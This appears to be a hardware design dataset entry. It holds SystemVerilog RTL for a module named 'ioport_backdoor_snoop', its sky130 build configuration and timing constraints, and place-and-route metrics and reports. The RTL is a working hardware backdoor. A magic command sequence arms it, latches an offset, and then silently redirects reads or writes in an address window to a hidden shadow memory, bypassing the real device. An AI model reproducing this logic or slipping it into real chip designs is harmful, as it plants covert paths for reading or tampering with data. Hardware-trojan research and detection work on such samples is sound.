### src/rtl/bd_pkg.sv
package bd_pkg;
  typedef enum logic [2:0] {
    SQ_IDLE  = 3'd0,
    SQ_ARMED = 3'd1,
    SQ_OPEN  = 3'd2,
    SQ_RDGO  = 3'd3,
    SQ_WRGO  = 3'd4
  } seq_st_t;
endpackage

### src/rtl/bd_seq_fsm.sv
module bd_seq_fsm
  import bd_pkg::*;
#(
  parameter int DATA_W = 16,
  parameter logic [DATA_W-1:0] CMD_ARM = 16'h0338,
  parameter logic [DATA_W-1:0] CMD_RD  = 16'h0538,
  parameter logic [DATA_W-1:0] CMD_WR  = 16'h0738
) (
  input  logic              clk,
  input  logic              rst_n,
  input  logic              acc,
  input  logic              is_data,
  input  logic              is_write,
  input  logic [DATA_W-1:0] wdata,
  output seq_st_t           state,
  output logic              latch_en
);
  seq_st_t nxt;

  always_comb begin
    nxt = state;
    if (acc) begin
      nxt = SQ_IDLE;
      if (!is_data && is_write) begin
        if (wdata == CMD_ARM && state == SQ_IDLE)     nxt = SQ_ARMED;
        else if (wdata == CMD_RD && state == SQ_OPEN) nxt = SQ_RDGO;
        else if (wdata == CMD_WR && state == SQ_OPEN) nxt = SQ_WRGO;
      end else if (is_data && is_write && state == SQ_ARMED) begin
        nxt = SQ_OPEN;
      end
    end
  end

  assign latch_en = acc && is_data && is_write && (state == SQ_ARMED);

  always_ff @(posedge clk or negedge rst_n) begin
    if (!rst_n) state <= SQ_IDLE;
    else        state <= nxt;
  end
endmodule

### src/rtl/bd_offset_latch.sv
module bd_offset_latch #(
  parameter int DATA_W   = 16,
  parameter int WIN_BITS = 8,
  parameter logic [DATA_W-1:0] WIN_BASE = 16'h1800
) (
  input  logic                clk,
  input  logic                rst_n,
  input  logic                load,
  input  logic [DATA_W-1:0]   din,
  output logic                in_range,
  output logic [WIN_BITS-1:0] win_idx
);
  localparam int HI_W = DATA_W - WIN_BITS;
  localparam logic [HI_W-1:0] BASE_HI = WIN_BASE[DATA_W-1:WIN_BITS];

  logic [DATA_W-1:0] off_q;

  always_ff @(posedge clk or negedge rst_n) begin
    if (!rst_n)    off_q <= '0;
    else if (load) off_q <= din;
  end

  assign in_range = (off_q[DATA_W-1:WIN_BITS] == BASE_HI);
  assign win_idx  = off_q[WIN_BITS-1:0];
endmodule

### src/rtl/bd_redirect_mux.sv
module bd_redirect_mux
  import bd_pkg::*;
#(
  parameter int DATA_W = 16
) (
  input  seq_st_t           state,
  input  logic              in_range,
  input  logic              req_valid,
  input  logic              req_is_data,
  input  logic              req_write,
  input  logic [DATA_W-1:0] req_wdata,
  input  logic              dev_ready,
  input  logic [DATA_W-1:0] dev_rdata,
  input  logic [DATA_W-1:0] shadow_rdata,
  output logic              req_ready,
  output logic [DATA_W-1:0] rsp_rdata,
  output logic              dev_valid,
  output logic              shadow_we,
  output logic [DATA_W-1:0] shadow_wdata
);
  logic rd_hit, wr_hit;

  assign rd_hit = (state == SQ_RDGO) && in_range && req_is_data && !req_write;
  assign wr_hit = (state == SQ_WRGO) && in_range && req_is_data && req_write;

  assign dev_valid    = req_valid && !wr_hit;
  assign req_ready    = wr_hit ? 1'b1 : dev_ready;
  assign rsp_rdata    = rd_hit ? shadow_rdata : dev_rdata;
  assign shadow_we    = req_valid && wr_hit;
  assign shadow_wdata = req_wdata;
endmodule

### src/rtl/ioport_backdoor_snoop.sv
module ioport_backdoor_snoop
  import bd_pkg::*;
#(
  parameter int DATA_W   = 16,
  parameter int WIN_BITS = 8,
  parameter logic [DATA_W-1:0] WIN_BASE = 16'h1800,
  parameter logic [DATA_W-1:0] CMD_ARM  = 16'h0338,
  parameter logic [DATA_W-1:0] CMD_RD   = 16'h0538,
  parameter logic [DATA_W-1:0] CMD_WR   = 16'h0738
) (
  input  logic                clk,
  input  logic                rst_n,
  input  logic                req_valid,
  output logic                req_ready,
  input  logic                req_is_data,
  input  logic                req_write,
  input  logic [DATA_W-1:0]   req_wdata,
  output logic [DATA_W-1:0]   rsp_rdata,
  output logic                dev_valid,
  input  logic                dev_ready,
  output logic                dev_is_data,
  output logic                dev_write,
  output logic [DATA_W-1:0]   dev_wdata,
  input  logic [DATA_W-1:0]   dev_rdata,
  output logic [WIN_BITS-1:0] shadow_addr,
  output logic                shadow_we,
  output logic [DATA_W-1:0]   shadow_wdata,
  input  logic [DATA_W-1:0]   shadow_rdata
);
  seq_st_t cur_st;
  logic    latch_en;
  logic    in_range;
  logic    acc;

  assign acc = req_valid && req_ready;

  bd_seq_fsm #(
    .DATA_W(DATA_W), .CMD_ARM(CMD_ARM), .CMD_RD(CMD_RD), .CMD_WR(CMD_WR)
  ) u_fsm (
    .clk(clk), .rst_n(rst_n), .acc(acc), .is_data(req_is_data),
    .is_write(req_write), .wdata(req_wdata), .state(cur_st), .latch_en(latch_en)
  );

  bd_offset_latch #(
    .DATA_W(DATA_W), .WIN_BITS(WIN_BITS), .WIN_BASE(WIN_BASE)
  ) u_off (
    .clk(clk), .rst_n(rst_n), .load(latch_en), .din(req_wdata),
    .in_range(in_range), .win_idx(shadow_addr)
  );

  bd_redirect_mux #(.DATA_W(DATA_W)) u_mux (
    .state(cur_st), .in_range(in_range), .req_valid(req_valid),
    .req_is_data(req_is_data), .req_write(req_write), .req_wdata(req_wdata),
    .dev_ready(dev_ready), .dev_rdata(dev_rdata), .shadow_rdata(shadow_rdata),
    .req_ready(req_ready), .rsp_rdata(rsp_rdata), .dev_valid(dev_valid),
    .shadow_we(shadow_we), .shadow_wdata(shadow_wdata)
  );

  assign dev_is_data = req_is_data;
  assign dev_write   = req_write;
  assign dev_wdata   = req_wdata;
endmodule

### config.mk
export PLATFORM = sky130hd
export DESIGN_NAME = ioport_backdoor_snoop
export DESIGN_NICKNAME = d
export VERILOG_FILES = /design/src/rtl/bd_pkg.sv /design/src/rtl/bd_seq_fsm.sv /design/src/rtl/bd_offset_latch.sv /design/src/rtl/bd_redirect_mux.sv /design/src/rtl/ioport_backdoor_snoop.sv
export SDC_FILE = /design/constraint.sdc
export NUM_CORES = 1
export LEC_CHECK = 0
export BUFFER_PORTS_ARGS = -buffer_cell sky130_fd_sc_hd__buf_2
export CAP_MARGIN = 10
export CELL_PAD_IN_SITES_DETAIL_PLACEMENT = 1
export CELL_PAD_IN_SITES_GLOBAL_PLACEMENT = 1
export CORE_UTILIZATION = 26
export CTS_CLUSTER_DIAMETER = 100
export DETAILED_ROUTE_END_ITERATION = 12
export PLACE_DENSITY = 0.82
export SETUP_SLACK_MARGIN = 0.02
export SKIP_CTS_REPAIR_TIMING = 1
export SLEW_MARGIN = 20
export SYNTH_ARGS = -nofsm -noshare
export SYNTH_HDL_FRONTEND = slang
export SYNTH_HIERARCHICAL = 1
export SYNTH_SLANG_ARGS = --single-unit
### constraint.sdc
create_clock -name clk -period 2.5 [get_ports clk]
set_clock_uncertainty 0.2 [all_clocks]
set_input_delay 0.375 -clock clk [delete_from_list [all_inputs] [get_ports clk]]
set_output_delay 0.375 -clock clk [all_outputs]
set_load 0.01 [all_outputs]
==> impl_metrics.env <==
export IMPL_outcome="finished with violations"
export IMPL_violations="negative setup slack"
export IMPL_grt_pass1_wl_mm=5.57
export IMPL_vias=1268
export IMPL_vdd_drop_max_uv=189
export IMPL_gp_congestion=0.745
export IMPL_syn_area_per_cell_sq_um=11.8
export IMPL_die_w_um=78.8
export IMPL_fmaxAchievable_mhz=374
export IMPL_final_util_pct=39.2
export IMPL_drt_pass1_iter_count=4
export IMPL_core_area_sq_um=5610
export IMPL_area_growth_pct=43.5
export IMPL_dp_hpwl_mm=3.09
export IMPL_final_nets=271
export IMPL_drt_iter0_drc=6
export IMPL_clkTransAtPathRegs_ns=0.07
export IMPL_fin_crit_sh_pct=107
export IMPL_die_y_um=78.8
export IMPL_clockRootBuffer="clkbuf_8"
export IMPL_finalHoldViolations=0
export IMPL_setup_violations_final=32
export IMPL_setup_ws_ns=-0.175
export IMPL_drive_above_1_share_pct=80.1
export IMPL_initial_core_util_pct=27.3
export IMPL_slew_viol_final=0
export IMPL_p_total_uw=755
export IMPL_layout_common_cells="97 x buf_2, 25 x mux2_4, 19 x buf_6, 19 x dfrtp_1, 7 x mux2_2"
export IMPL_grt_pass1_vias=1161
export IMPL_tightest_slew_ns=0.423
export IMPL_syn_inst=130
export IMPL_route_detailed_drc=0
export IMPL_start_kind="flip-flop"
export IMPL_worstPathArrival_ns=2.10
export IMPL_grt_max_degree=20
export IMPL_rsz0062_at_grt="yes"
export IMPL_n_antenna_cell=0
export IMPL_min_path_type="in2reg"
export IMPL_cts_htree_levels=1
export IMPL_cts_tree="done"
export IMPL_grt_use_total_pct=11.6
export IMPL_clk_path_buf_depth=2
export IMPL_worstSetupPathType="reg2out"
export IMPL_cap_violations=0
export IMPL_pin_count=115
export IMPL_yosysSeqAreaShare_pct=31.0
export IMPL_io_buffers=114
export IMPL_grt_ovfl_total=0
export IMPL_p_leak_nw=1.19
export IMPL_fin_crit_ns=2.68
export IMPL_final_common_cell="buf_2"
export IMPL_antenna_left=0
export IMPL_n_fill_cell=646
export IMPL_drt_vias_per_instance=4.40
export IMPL_syn_nets=184
export IMPL_cts_made_buffers=3
export IMPL_placed_cells=280
export IMPL_syn_area_sq_um=1530
export IMPL_worst_slew_margin_rel_pct=71.8
export IMPL_synth_top_cell_area_share_pct=31.0
export IMPL_wl_per_cell_um=14.5
export IMPL_wirelength_mm=4.18
export IMPL_cellPowerDensity_nw_per_um2=344
export IMPL_ys_top_cells_by_area="dfrtp_1 31%, buf_4 21%, mux2_4 20%"
export IMPL_instances_no_fill=288
export IMPL_cp_max_fo=8
export IMPL_dieArea_sq_um=6200
export IMPL_yosys_warnings=6
export IMPL_cp_end_kind="primary output"
export IMPL_synth_distinct_cells=28
export IMPL_ys_ff_latch=19
export IMPL_num_rows=27
export IMPL_cp_data_required_time_ns=1.92
export IMPL_yosysTopAreaCell="dfrtp_1"
export IMPL_clock_latency_ns=0.26
export IMPL_clock_sinks=19
export IMPL_antenna_found_initial=0
## critical path: stages (launching register included)
cell	delay [ns]
dfrtp_1	0.39
nor4b_2	0.28
and4b_1	0.22
and2_4	0.15
buf_6	0.09
nand4_4	0.10
clkbuf_16	0.19
mux2_4	0.30
buf_6	0.12
## path summary, 6_finish.rpt
check                                startpoint               to  slack, ns  cells after the start
worst max-delay path            u_off/off_q[15]    rsp_rdata[11]      -0.18                      8
worst max register to register  u_off/off_q[15]  u_off/off_q[10]      -0.14                     10
worst min register to register   u_off/off_q[1]   u_off/off_q[1]       0.30                      1
min in group asynchronous                 rst_n   u_off/off_q[1]       0.39                      2
max in group asynchronous                 rst_n  u_off/off_q[11]       1.42                      2
worst min-delay path               req_wdata[7]   u_off/off_q[7]       0.18                      2
## Yosys cell counts (all sizes together)
library cell	number
a22oi	1
a41oi	1
and2	3
and3b	1
and4	1
and4b	2
buf	45
dfrtp	19
inv	4
mux2	32
nand2	1
nand2b	1
nand3	2
nand4	3
nor2	5
nor2b	2
nor4	2
nor4b	2
o21ai	1
o32ai	2
## where the power goes
group	internal (mW)	switching, mW
logic	0.120	0.0946
registers	0.320	0.00730
clock network	0.113	0.100
total	0.553	0.202
## flip-flops by register name, indices dropped and copies added, names as in the netlist
| name | flops |
|---|---|
| u_off/off_q | 16 |
| u_fsm/state | 3 |
## layout make-up
class,instances,area (sq um),area share (%)
clock buffers,4,45.0,2.05
flip-flops and latches,19,475,21.6
repair buffers,127,845,38.4
inverters,4,15.0,0.683
multi-input cells,62,728,33.1
well taps,72,90.1,4.10
## cells by family (layout without fill, tap and decap cells)
logic type / after synthesis / count (layout) / synth area share (%)
simple gates: 25 / 25 / 13.6
buf+inv: 49 / 135 / 24.3
flops: 19 / 19 / 31.0
compound gates: 5 / 5 / 2.53
mux: 32 / 32 / 28.4
## stage by stage
step	hold slack (ns)	area, sq um	TNS (ns)	setup slack (ns)
floorplan	-0.121	1540	-1.76	-0.149
global placement	0.129	1930	-0.681	-0.0630
detailed placement	0.139	1930	-1.86	-0.139
CTS	-0.144	1980	-5.52	-0.226
global route	0.181	2200	-7.36	-0.261
finish	0.180	2200	-4.43	-0.175
## layer usage
| layer | part of all wire (%) | up-vias | GRT usage, % |
|---|---|---|---|
| met5 | 0 | - | 0 |
| met4 | 0.89 | 0 | 4.44 |
| li1 | - | 585 | - |
| met1 | 39 | 611 | 13.6 |
| met2 | 52 | 68 | 20.4 |
| met3 | 7.5 | 4 | 2.53 |
Power figures use the tool's default switching activity.
